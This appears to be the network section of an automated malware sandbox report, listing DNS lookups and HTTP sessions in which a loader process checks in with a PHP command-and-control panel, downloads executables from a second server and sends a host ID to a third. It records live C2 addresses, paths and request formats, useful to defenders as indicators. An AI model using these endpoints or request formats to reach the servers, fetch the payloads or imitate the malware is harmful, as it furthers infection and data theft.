Oct 24, 2024 08:39:06.865200043 CEST	1.1.1.1	192.168.2.5	0x908b	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.879241943 CEST	1.1.1.1	192.168.2.5	0x8b6f	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.891107082 CEST	1.1.1.1	192.168.2.5	0x55cf	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:06.905894041 CEST	1.1.1.1	192.168.2.5	0x1780	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:08.085557938 CEST	1.1.1.1	192.168.2.5	0x2789	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:08.085557938 CEST	1.1.1.1	192.168.2.5	0x2789	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:08.086097002 CEST	1.1.1.1	192.168.2.5	0xf89e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:08.086097002 CEST	1.1.1.1	192.168.2.5	0xf89e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:08.111100912 CEST	1.1.1.1	192.168.2.5	0x64f0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:09.552598953 CEST	1.1.1.1	192.168.2.5	0x1b95	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:35.237900972 CEST	1.1.1.1	192.168.2.5	0x3406	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.250195980 CEST	1.1.1.1	192.168.2.5	0x772a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.700330019 CEST	1.1.1.1	192.168.2.5	0x5f08	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.720033884 CEST	1.1.1.1	192.168.2.5	0x932d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.824702024 CEST	1.1.1.1	192.168.2.5	0xed7d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:35.824702024 CEST	1.1.1.1	192.168.2.5	0xed7d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.828008890 CEST	1.1.1.1	192.168.2.5	0xfb83	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.848198891 CEST	1.1.1.1	192.168.2.5	0x1e12	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.858040094 CEST	1.1.1.1	192.168.2.5	0x5459	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:35.858040094 CEST	1.1.1.1	192.168.2.5	0x5459	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:35.882811069 CEST	1.1.1.1	192.168.2.5	0x6c21	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:36.057744026 CEST	1.1.1.1	192.168.2.5	0xbae7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 08:39:36.057744026 CEST	1.1.1.1	192.168.2.5	0xbae7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 08:39:36.476284027 CEST	1.1.1.1	192.168.2.5	0xc496	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	60964	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:04.172106028 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:38:05.076597929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	60978	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:06.590814114 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 08:38:07.526386023 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 31 33 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 31 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001134001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001135001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001136001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001137001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	60982	185.215.113.16	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:07.540967941 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 08:38:08.455766916 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:08 GMT Content-Type: application/octet-stream Content-Length: 2963456 Last-Modified: Thu, 24 Oct 2024 05:53:58 GMT Connection: keep-alive ETag: "6719e0f6-2d3800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 78 fd 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0x-@Wk ^@.rsrc n@.idata n@urronsyq**p@rvyhmtwg0-@.taggant00"-@
Oct 24, 2024 08:38:08.455780983 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:08.456029892 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:08.456044912 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:08.456063986 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:08.456075907 CEST	636	IN	Data Raw: af 55 a7 ae 90 c4 69 4f 70 b1 19 c2 9b 85 67 bf c6 69 6e be 9e 78 29 8f 96 c8 ab 4f e1 b4 aa 0a 22 06 d7 94 a1 8b 86 d7 2e c5 9e 23 61 f1 89 82 52 f5 be 81 82 d1 ae cc 75 58 17 2d 55 27 b0 42 e1 4a e7 01 48 a8 26 b6 1f ce de 09 f7 bd bb 6b 5f d0 Data Ascii: UiOpginx)O".#aRuX-U'BJH&k_9"g+jvpy8MK]:RK\Yi82LwK=zay95`9o4U<#o\yW6H~>9,c-A@ZG"
Oct 24, 2024 08:38:08.456089020 CEST	1236	IN	Data Raw: 5c 9c e9 c2 eb e3 80 c1 dd 00 b8 83 f8 5a 01 0e ea 88 f9 e7 11 e1 35 60 bd 15 b8 51 41 bc fe c7 b9 b5 6c 11 8e 9d 38 e6 4d eb 63 0d b2 ec fe 15 2d c1 63 0b 80 a4 6d 6b 56 4e b7 85 e1 ac 71 4f ea 80 20 41 fa fe 94 cb 31 9d b1 c3 23 4d 11 52 37 71 Data Ascii: \Z5`QAl8Mc-cmkVNqO A1#MR7q_zCVN$g_0\|E{c:#%I-V!Z/NaGv}+1Z\|AA!ij#~>O}3::wPNf
Oct 24, 2024 08:38:08.456098080 CEST	212	IN	Data Raw: af 7f e9 5a 97 09 e2 bb 1e 8b fa f1 89 6b 01 ab 14 76 69 2b e9 9c a0 cb 01 73 e7 73 00 3e 70 61 f4 c3 f0 52 8a 6d 58 56 26 0c 88 16 ea 98 8a 7c 32 e1 2e 0b e2 73 99 eb ea 95 32 e0 11 7d f0 29 18 83 3e 1b e5 6c 22 6b 07 0f d5 23 cf 90 ad fc 5d 3b Data Ascii: Zkvi+ss>paRmXV&\|2.s2})>l"k#];gHA.?NF`CNJJP1QZ@wU6+x{+S>\|QXAt/P9dnc>.syE9%>$J>
Oct 24, 2024 08:38:08.456406116 CEST	1236	IN	Data Raw: 30 d6 fe f2 f3 43 bf 3a 8f d6 ed 52 e1 4a 88 38 e6 b2 df 1b 3f f5 39 0e 87 5e 15 01 f9 6f 31 aa 9e ff 22 0e 1a 11 f3 e6 6c f3 1a a0 fd 36 bf 68 c3 a5 c0 03 e6 ef 3b 43 82 89 fb 1d fb 8f 17 8e a8 ea 86 10 b6 1a 01 29 11 7c 80 95 2a 79 69 12 92 d3 Data Ascii: 0C:RJ8?9^o1"l6h;C)\|*yiDQh{HRR8O:Nie?#HQI3CYz?k&1n\|W.bk&6Rf8%R'2g1x, ,G#J;fSR9q_/do]T A%
Oct 24, 2024 08:38:08.456484079 CEST	1236	IN	Data Raw: 70 b8 c9 f9 86 d8 15 00 98 1b a8 5a 81 7b 06 e5 66 3c e8 0f 4c 79 ab 4a 9b c1 6e 81 e5 70 a6 83 da b1 9a 20 33 a7 83 76 22 46 e4 ba 4f 44 c8 c8 d2 23 90 02 2f 1d 28 f8 92 90 d1 7b c8 25 2d ed fb b3 bf 42 69 1d 48 29 0f a7 32 07 56 de 68 3d 3f 4b Data Ascii: pZ{f<LyJnp 3v"FOD#/({%-BiH)2Vh=?K<}M+O\VA#Tuy3cB}sJS6 M/4I-Q1IU9I@gAo3_4'a1i>;#
Oct 24, 2024 08:38:08.461209059 CEST	1236	IN	Data Raw: 6c 4e 66 c4 f2 42 83 d9 ef 41 75 1e 93 b9 48 79 94 0f 93 29 5b 74 ba 07 55 7a 6e f9 a6 d0 f1 f4 e4 c5 bd a0 e4 b8 f6 39 81 77 61 1b 26 f9 ab be 8e c4 8a 22 4b 9d c4 7c 96 a9 0a 6a 6f 4d 90 07 f2 81 26 7e ab 0b 2c 46 9f e0 1c 18 0a 31 e9 f9 13 73 Data Ascii: lNfBAuHy)[tUzn9wa&"K\|joM&~,F1sbpN_D8>zW+"~rQ crT:tS?\\iO09A2B6f2]aUcEy8dMUCK_(>U<"`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	61008	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:16.688710928 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001134001&unit=246122658369
Oct 24, 2024 08:38:17.608917952 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	61010	185.215.113.16	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:17.618911028 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 08:38:18.527524948 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:18 GMT Content-Type: application/octet-stream Content-Length: 1837568 Last-Modified: Thu, 24 Oct 2024 05:54:04 GMT Connection: keep-alive ETag: "6719e0fc-1c0a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 61 02 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@ja@P%d% %(@.rsrc %8@.idata %8@ 0*%:@ypqgsygbP<@vqrcrxymi@.taggant0i"@
Oct 24, 2024 08:38:18.527605057 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:18.527616024 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:18.527666092 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:18.527678013 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 08:38:18.527697086 CEST	1236	IN	Data Raw: ae 43 e4 16 f8 b2 d7 d2 8a 41 ff 79 db a1 bc 4f f2 ca 52 2c cb f5 b1 af 59 37 11 e1 4e 4d 45 ee d8 90 7c 1f 91 44 03 6d 6b 06 36 83 03 68 9a 88 67 3f fc ac e4 df b9 c7 d6 0f 05 19 3f bd b0 6b d3 3f af 4e 80 73 a4 70 de 93 99 b3 b8 6f e1 16 0c 1c Data Ascii: CAyOR,Y7NME\|Dmk6hg??k?NspoNrzKrxa'l_#3C P8Z7hJ}I{H~qQ1?u3U5\|0x9~~~~~~~~@,7pcsO9
Oct 24, 2024 08:38:18.527714014 CEST	848	IN	Data Raw: 9f 23 1d 59 63 9d 10 c9 de aa 7b 48 b2 36 50 9b c4 ed 9a d7 e2 fe b0 ff 53 75 5d d4 fb b0 ff d0 ff 44 a4 c1 d0 6d f3 0a 32 ed 9b 48 0d 4c 8c c6 1a 2e 97 16 63 3e 5a c7 e2 73 c9 8b 1f e9 f7 82 d8 b1 72 49 eb 81 86 1e ef d2 86 04 14 f6 39 29 5c 70 Data Ascii: #Yc{H6PSu]Dm2HL.c>ZsrI9)\p9`mlY=(O#R}cf"8_GHEpgYh>1L5!\|@(ZAAt^sftQ~uQ!F`A~=Z;92HO\|i3z/
Oct 24, 2024 08:38:18.527725935 CEST	1236	IN	Data Raw: ef 4b 81 fc 4a 46 4a 36 f3 ce c1 f6 0e b1 88 24 e9 ef a7 74 69 be 82 58 3f 46 90 4c d8 d6 33 15 6c b9 82 5c 68 46 13 cd 56 bb 95 40 68 3a d4 74 cf 46 2b 09 3e 9f 73 d6 cb dc 37 cd df 01 b4 22 39 09 83 e5 5c 0d 80 b0 4f 72 53 ed 9e b7 67 65 e0 35 Data Ascii: KJFJ6$tiX?FL3l\hFV@h:tF+>s7"9\OrSge5MIk_QJemo;*}"OPZT5DK_uFd4j_mKF'\fPL.)lxUQ?eg1E=?/RxtivmNXh
Oct 24, 2024 08:38:18.527736902 CEST	1236	IN	Data Raw: a2 8f 89 74 56 46 5f 4d a5 11 d0 5c bb 05 11 de b6 35 34 53 20 31 0c 49 cf 59 bd d8 77 56 1b de 84 88 a1 c1 e7 bc 88 54 4f c0 54 81 9f 60 a7 65 e0 79 77 3e 55 83 e7 be ef 8d 88 06 37 50 d0 4c df cf d3 44 e9 bd 80 0c e3 a9 1b a6 17 cd 88 70 4b 74 Data Ascii: tVF_M\54S 1IYwVTOT`eyw>U7PLDpKt4}F708}GS\|5w\>]5:S+g>!_<]xoK-Q[9[bSN3:5rRc>YKQ}5@Swq'
Oct 24, 2024 08:38:18.527750015 CEST	1236	IN	Data Raw: 43 3e 5d cf 4e ed b8 c9 82 b5 77 dd 5e 71 44 37 97 9e 26 59 6f 46 90 7c d8 e9 3a b9 8d 36 bf 8c e0 01 f4 0b 6a 5a 97 dd bc 0d b2 dd ba 3e f9 e0 c2 79 0f 1d 8b 35 ac 12 df de 98 35 e0 bf ef 90 84 55 10 de fa 35 c7 52 f5 c9 0f 5c 8b 6a 93 cc df 6c Data Ascii: C>]Nw^qD7&YoF\|:6jZ>y55U5R\jlT.geOg__]KF6bF?+O9%kS})E5TVkh!"TDJO6%MhcHHF&NCt`FgO<E
Oct 24, 2024 08:38:18.533735991 CEST	1236	IN	Data Raw: 8a 35 be f0 86 b4 97 ff 52 38 26 af 52 70 75 be 31 c8 7e 91 eb 34 2d d5 9a dc 9a 15 f6 c1 27 d0 67 8d c1 cf d6 35 c2 76 77 43 06 a6 d2 30 3c d5 40 f1 80 46 aa 81 2a e4 48 82 28 ef 6e 77 7a d4 16 83 21 bd dd 40 36 0a bb ea 77 53 1c 64 1b 16 66 0d Data Ascii: 5R8&Rpu1~4-'g5vwC0<@F*H(nwz!@6wSdfbh~joB\x<-{8~s&$a9HJOJ8X,rN$)uCgcZi1$.5E.38bNKi'D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	61013	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:25.889715910 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001135001&unit=246122658369
Oct 24, 2024 08:38:26.804352045 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	61014	185.215.113.37	80	1672	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:26.680675983 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 08:38:27.652206898 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:27.655607939 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="hwid"20F5399156EA20379026------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build"doma------KFBGDBFBKKJECBFHDGIE--
